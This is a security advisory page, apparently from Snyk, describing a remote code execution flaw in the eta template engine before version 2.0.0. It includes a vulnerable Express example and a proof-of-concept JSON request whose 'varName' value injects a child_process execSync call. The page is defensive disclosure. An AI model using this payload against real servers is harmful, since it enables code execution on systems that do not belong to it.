Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade eta
to version 2.0.0 or higher.
eta is a Lightweight, fast, and powerful embedded JS template engine
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by overwriting template engine configuration variables with view options
received from The Express render API.
Note: This is exploitable only for users who are rendering templates with user-defined data.
const express = require('express')
const app = express()
const eta = require('eta');
app.use(express.json());
app.engine('eta', eta.renderFile);
app.set('view engine', 'eta');
app.set('views', './views');
app.post('/user/update', function (req, res) {
const userConfig = req.body;
res.render('index.eta', {settings: userConfig});
})
app.listen(8001, function () {
console.log('listening for requests on http://localhost:8001')
})
Exploit request:
POST /user/update HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 Content-Type: application/json Content-Length: 219
{ "view options": { "varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')", "include" : false, "includeFile": false, "useWith": true } }